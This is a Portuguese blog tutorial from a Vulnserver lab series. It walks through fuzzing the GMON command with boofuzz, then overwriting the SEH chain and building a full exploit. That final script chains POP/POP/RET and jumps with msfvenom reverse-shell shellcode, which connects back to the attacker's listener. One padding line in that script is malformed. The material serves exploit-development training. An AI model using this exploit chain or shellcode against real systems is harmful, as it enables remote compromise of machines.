Home Windows Vulnserver Buffer Overflow - Parte 4 Bypass do SEH
Post
Cancel

Windows Vulnserver Buffer Overflow - Parte 4 Bypass do SEH

COMANDO GMON

O comando GMON, assim como os demais, recebe um argumento e dá uma resposta. Neste comando iremos explorar outa tecnica de exploração de buffer overflow em binários Windows.

Enumaração do comando.

FUZZING

Desta vez vamos experimentar outra técnica para o fuzzing, o python tem uma a biblioteca boofuzz que pode ser usada, vamos escrever nosso script.

fuzzing2.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python3

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(1024)
    except:
        print("Nao foi possivel a conexao.")
        exit(1)

    my_logger.log_check("Recebendo banner...")
    if banner_template in banner:
        my_logger.log_pass("Banner recebido!")
    else:
        my_logger.log_fail("Banner nao recebido")
        print("Banner nao recebido, saindo...")
        exit(1)

def main():
    session = Session(
            sleep_time = 1,
            target = Target(
                connection=SocketConnection("192.168.1.30", 9999, proto='tcp')
                ),
            )
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static('GMON', name="command name")
        s_delim(" ")
        s_string("FUZZ", name="comando da variavel")
        s_delim("\r\n")

    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()

if __name__ == "__main__":
    main()

Este script fará várias tentativas de fuzzing e tentará receber o banner novamente, uma vez que não receba mais, o programa parou e o fuzzing para.

Enumaração do comando. Enumaração do comando.

Podemos ver que o script parou ao enviar 10.007 bytes constituidos da repetição de “./././”, se voltarmos ao codigo fonte que analisamos no inicio, veremos que o GMON espera receber “/” para ativar a função vulnerável.

Vamos esboçar nosso script.

xplgmon.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3

import socket

ip = "192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"
payload += b"A" * offset

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")

Preparando o vulnserver no Immunity Debbuger, vamos ver seu comportamento.

Enumaração do comando.

Desta vez, nós causamos o crash no programa, mas não sobrescrevemos o EIP. Isso significa que o vulnserver está tratando o input de alguma forma.

Enumaração do comando.

Se olharmos para o “SEH” (View > SEH chain), podemos ver que conseguimos sobrescrever tanto o SEH quanto o nSEH. Mas do que isso se trata?

STRUCTURE EXCEPTION HANDING

O SEH é um mecanismo unforme para responder a excessões criado pela Microsoft e implantado desde a versão XP. Ele permite que linguagens como C/C++ utilizem a estrutura de excessões utilizadas por linguagens de alto nível (try-except-finally). Abaixo um exemplo:

1
2
3
4
5
6
7
__try {
    ....
    strcpy(mybuff, myinput);
}
__except (INSUFFICIENT_MEMORY) {
    my_exception_handler();
}

Onde o programa tentará realizar um “strcpy()”, e se ele falhar por “INSUFFICIENT_MEMORY”, vai chamar a função “my_exception_handler()”.

Quando uma excessão ocorre, o OS caminha pela corrente SEH em busca de uma saída para aquela excessão. Se nenhuma saída for encontrada, o programa responde com a saída padrão: “FFFFFFFF”.

A estrutura do _EXCEPTION_REGISTRATION_RECORD:

1
2
3
4
5
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
     PEXCEPTION_REGISTRATION_RECORD Next;
     PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

Onde o parametro “Next” aponta para o próximo endereço de SEH, também chamado de SEH, e o “Handler” aponta para o SEH.

Mais sobre como funciona o SEH pode ser encontrado aqui.

Para explorarmos o SEH, precisamos da habilidade de causar uma excessão, e sobrescrever o endereço do SEH e nSEH para apontar para o endereço do nosso código.

EXPLORANDO O SEH

Se rodarmos nosso script novamente e monitorarmos no Immunity, podemos visualizar a corrente SEH e visualizar no painel (Shift+F9).

Enumaração do comando.

Como sobrescrevemos o endereço do SEH e do nSEH, conseguimos sobrescrever o endereço EIP dentro da corrente, e isto nos dá controle sobre a execução do programa.

Precisamos encontrar o offset para sobrescrever os endereços SEH, utilizaremos o msf-patter_create.

Enumaração do comando.

Vamos atualizar em nosso script e reenviar para o programa após reiniciá-lo no Immunity.

Enumaração do comando.

Sobrescrevemos o endereço do nSEH com os bytes 45336f45, vamos encontrar o offset exato com o msf-pattern_offset.

1
2
3
$ msf-pattern_offset -l 10007 -q 45336f45
[*] Exact match at offset 3549

Temos o offset de 3549 para atingir o endereço de EIP. Vamos atualizar o nosso script e testar com o Immunity.

xplgmon.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3

import socket

ip = "192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"
payload += b"A" * 3549
payload += b"B" * 4
payload += b"C" * (offset - 3549 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")

Enumaração do comando.

Como podemos ver, o SEH foi preenchido pelos nossos “C” ao inves dos “B”, mas ele está tentando fazer um salto para os “B”, pois ao não encontrar a regra de excessão no SEH, ele tenta pular para o nSEH.

Ótimo, conseguimos sobrescrever os endereços, isso nos aproxima de ter controle sobre a execução.

Normalmente como fizemos nos comandos anteriores, agora iriamos encontrar um bom endereço de retorno para nosso ESP, mas vamos analisar a stack da corrente do SEH.

Enumaração do comando.

Nós caímos 8 bytes antes do nosso buffer, o que significa que ser fizermos um JMP ESP, vamos cair num espaço da memória do qual não temos controle.

Precisamos encontrar uma forma de retirar estes 8 bytes da stack antes do JMP ESP para podermos cair exatamente em nosso buffer.

ESTRUTURA LIFO

A stack da arquitetura x86 segue o padrão LIFO (Last In First Out) onde o ultimo item a entrar na stack é o primeiro a sair. Cada vez que fazemos um PUSH na memória, nós adicionamos exatamente 4 bytes à stack decrementando o apontador, ou seja, em cada PUSH em ESP o apontador ESP recebe um valor -4, em contrapartida, quando fazemos um POP na stack, adicionamos 4 bytes no apontador.

Como nosso buffer está 8 bytes acima de onde caímos, precisamos adicionar 8 bytes à stack, conseguimos isso encontrando um endereço que contenha um POP/POP/RET.

1
2
3
POP <qualquer registrador 32 bytes>
POP <qualquer registrador 32 bytes>
RET

Onde, o primeiro POP vai retirar o primeiro endereço da stack, adicionando 4 bytes ao endereço, e o segundo POP vai adicionar mais 4. O RET vai pegar o primeiro endereço da stack e adicioná-lo ao EIP, e assim executamos exatamente nosso buffer.

Podemos encontrar o endereço POP/POP/RET com o proprio Immunity utilizando o plugin mona com o comando !mona seh -cp nonull -cm safeseh=off.

Enumaração do comando.

Onde -cp nonull omite endereços com caracteres nulos, “-cm safeseh=off” omite endereços compilados com SafeSEH.

Encontramos 12 endereços de POP/POP/RET utilizáveis, no meu caso utilizarei o 6250120b.

Vamos atualizar nosso script, e inserir o endereço encontrado no lugar de nossos “C”, lembrando que os bytes tem que ir na ordem inversa pois utilizam little indiam.

xplgmon.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3

import socket

ip = "192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"
payload += b"A" * 3549
payload += b"B" * 4
payload += b"\x0b\x12\x50\x62"
payload += b"D" * (offset - 3549 - 4 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")

Vamos iniciar o vulnserver, inserir um breakpoint exatamente em nosso POP/POP/RET e rodar nosso script.

Enumaração do comando.

Caímos exatamente em nosso POP/POP/RET, se avançarmos, vamos cair na stack com um buffer.

Porém, vamos analisar o buffer em que caímos:

Enumaração do comando.

Caímos exatamente em cima dos nossos “B”, o problema é que só temos 4 bytes de “B” e logo em seguida temos o endereço do nosso POP/POP/RET novamente, impossível aproveitar 4 bytes para um shellcode. Também não podemos fazer um salto para o buffer de “A”, pois seria um salto longo, que ocupa 5 bytes.

Mas se analizarmos, logo após nosso POP/POP/RET temos o buffer dos “D”, seria um salto curto, e um salto curto felizmente tem o tamanho de 2 bytes.

Fazendo a matemática, temos que saltar 8 bytes para atingir o buffer (4 bytes de “B” + 4 bytes do POP/POP/RET). Vamos calcular o opcode do salto de 8 bytes para nosso buffer utilizando o msf-nasm_shell.

1
2
3
4
5
$ msf-nasm_shell
nasm > JMP short 10
00000000  EB08              jmp short 0xa
nasm > 

Por que eu calculei um salto de 10 bytes ao inves dos 8 que precisamos? Porque o JMP vai calcular o salto incluindo incluindo o tamanho da instrução JMP que por sua vez tem 2 bytes.

Precisamos inserir o salto no lugar dos nossos “B” pois quando o POP/POP/RET cair nesse endereço, saltará para nossos buffers de “D”.

xplgmon.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3

import socket

ip = "192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"
payload += b"A" * 3549
payload += b"\xeb\x08" # salto curto
payload += b"\x90\x90" # padding para o salto
payload += b"\x0b\x12\x50\x62"
payload += b"D" * (offset - 3549 - 4 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")

Analisando no Immunity, vemos que logo apos o POP/POP/RET caímos no jump.

Enumaração do comando.

Se avançarmos mais um passo, caímos no buffer dos “D” (44).

Enumaração do comando.

E constatamos o total controle na execução do programa. Mas ainda temos outro problema para resolver: o buffer de “D” tem apenas 41 bytes de espaço, mas este tipo de problema, já resolvemos no comando GTER, e vamos fazer exatamente igual.

PULANDO DE VOLTA PARA O BUFFER INICIAL

Desta vez, precisamos de 5 bytes para fazer um log jump back, e temos 41, está fácil. Consultando a distancia com msf-nasm_shell, precisamos de um salto de 3557 bytes (3549 bytes de “A” + 4 bytes do POP/POP/RET + 4 bytes do short jump).

1
2
3
4
$ msf-nasm_shell
nasm > JMP $-3557
00000000  E916F2FFFF        jmp 0xfffff21b

Temos a distância e916f2ffff, vamos atualizar o script.

xplgmon.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3

import socket

ip = "192.168.1.30"
porta = 9999

offset = 10007

payload = b"GMON ./"
payload += b"A" * 3549
payload += b"\xeb\x08" # salto curto
payload += b"\x90\x90" # padding para o salto curto
payload += b"\x0b\x12\x50\x62"
payload += b"\x90\x90" # padding para o salto longo
payload += b"\xe9\x16\xf2\xff\xff" # salto longo
payload += b"D" * (offset - 3549 - 4 - 4 - 5)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")

Analisando no Immunity:

Enumaração do comando.

Caímos exatamente em cima do nosso buffer de “A”, agora temos 3549 bytes para explorarmos da forma que quisermos.

Antes de tudo, precisamos gerar nosso reverse shell com msfvenom e organizar nosso script.

xplgmon.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# offset para buffer overflow
offset = 10007

# msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.17 lport=8443 -b '\x00' -v shellcode -f py
shellcode =  b""
shellcode += b"\xbd\x0a\xb3\xad\x9f\xd9\xcd\xd9\x74\x24\xf4"
shellcode += b"\x5f\x33\xc9\xb1\x52\x31\x6f\x12\x83\xef\xfc"
shellcode += b"\x03\x65\xbd\x4f\x6a\x85\x29\x0d\x95\x75\xaa"
shellcode += b"\x72\x1f\x90\x9b\xb2\x7b\xd1\x8c\x02\x0f\xb7"
shellcode += b"\x20\xe8\x5d\x23\xb2\x9c\x49\x44\x73\x2a\xac"
shellcode += b"\x6b\x84\x07\x8c\xea\x06\x5a\xc1\xcc\x37\x95"
shellcode += b"\x14\x0d\x7f\xc8\xd5\x5f\x28\x86\x48\x4f\x5d"
shellcode += b"\xd2\x50\xe4\x2d\xf2\xd0\x19\xe5\xf5\xf1\x8c"
shellcode += b"\x7d\xac\xd1\x2f\x51\xc4\x5b\x37\xb6\xe1\x12"
shellcode += b"\xcc\x0c\x9d\xa4\x04\x5d\x5e\x0a\x69\x51\xad"
shellcode += b"\x52\xae\x56\x4e\x21\xc6\xa4\xf3\x32\x1d\xd6"
shellcode += b"\x2f\xb6\x85\x70\xbb\x60\x61\x80\x68\xf6\xe2"
shellcode += b"\x8e\xc5\x7c\xac\x92\xd8\x51\xc7\xaf\x51\x54"
shellcode += b"\x07\x26\x21\x73\x83\x62\xf1\x1a\x92\xce\x54"
shellcode += b"\x22\xc4\xb0\x09\x86\x8f\x5d\x5d\xbb\xd2\x09"
shellcode += b"\x92\xf6\xec\xc9\xbc\x81\x9f\xfb\x63\x3a\x37"
shellcode += b"\xb0\xec\xe4\xc0\xb7\xc6\x51\x5e\x46\xe9\xa1"
shellcode += b"\x77\x8d\xbd\xf1\xef\x24\xbe\x99\xef\xc9\x6b"
shellcode += b"\x0d\xbf\x65\xc4\xee\x6f\xc6\xb4\x86\x65\xc9"
shellcode += b"\xeb\xb7\x86\x03\x84\x52\x7d\xc4\x6b\x0a\x7c"
shellcode += b"\x05\x04\x49\x7e\x05\x2f\xc4\x98\x2f\xdf\x81"
shellcode += b"\x33\xd8\x46\x88\xcf\x79\x86\x06\xaa\xba\x0c"
shellcode += b"\xa5\x4b\x74\xe5\xc0\x5f\xe1\x05\x9f\x3d\xa4"
shellcode += b"\x1a\x35\x29\x2a\x88\xd2\xa9\x25\xb1\x4c\xfe"
shellcode += b"\x62\x07\x85\x6a\x9f\x3e\x3f\x88\x62\xa6\x78"
shellcode += b"\x08\xb9\x1b\x86\x91\x4c\x27\xac\x81\x88\xa8"
shellcode += b"\xe8\xf5\x44\xff\xa6\xa3\x22\xa9\x08\x1d\xfd"
shellcode += b"\x06\xc3\xc9\x78\x65\xd4\x8f\x84\xa0\xa2\x6f"
shellcode += b"\x34\x1d\xf3\x90\xf9\xc9\xf3\xe9\xe7\x69\xfb"
shellcode += b"\x20\xac\x9a\xb6\x68\x85\x32\x1f\xf9\x97\x5e"
shellcode += b"\xa0\xd4\xd4\x66\x23\xdc\xa4\x9c\x3b\x95\xa1"
shellcode += b"\xd9\xfb\x46\xd8\x72\x6e\x68\x4f\x72\xbb"

# payload
payload = b"GMON ./" # comando inicial
payload += b\x90 +10 # padding para o shellcode
payload += shellcode # enviando shellcode para o primeiro buffer
payload += b"A" * (3549 - len(shellcode) - 10) # complementando o buffer com "A"
payload += b"\xeb\x08" # salto curto
payload += b"\x90\x90" # padding para o salto curto
payload += b"\x0b\x12\x50\x62" # POP/POP/RET
payload += b"\x90\x90" # padding para o salto longo
payload += b"\xe9\x16\xf2\xff\xff" # salto longo
payload += b"D" * (offset - 3549 - 4 - 4 - 5) # complemento do buffer com "D"

# conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# envio do payload
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")

Vamos setar um netcat para ouvir a porta 8443, iniciar o vulnserver fora do immunity e testar o script.

Enumaração do comando.

E conseguimos nosso reverse shell.

Neste comando, fuzemos a exploração de overflow de SEH e realiamos vários saltos na memória conhecendo um pouco mais a fundo sua estrutura.

Nos próximos comandos vamos experimentar novas complexidades.

GO GO GO!!!

This post is licensed under CC BY 4.0 by the author.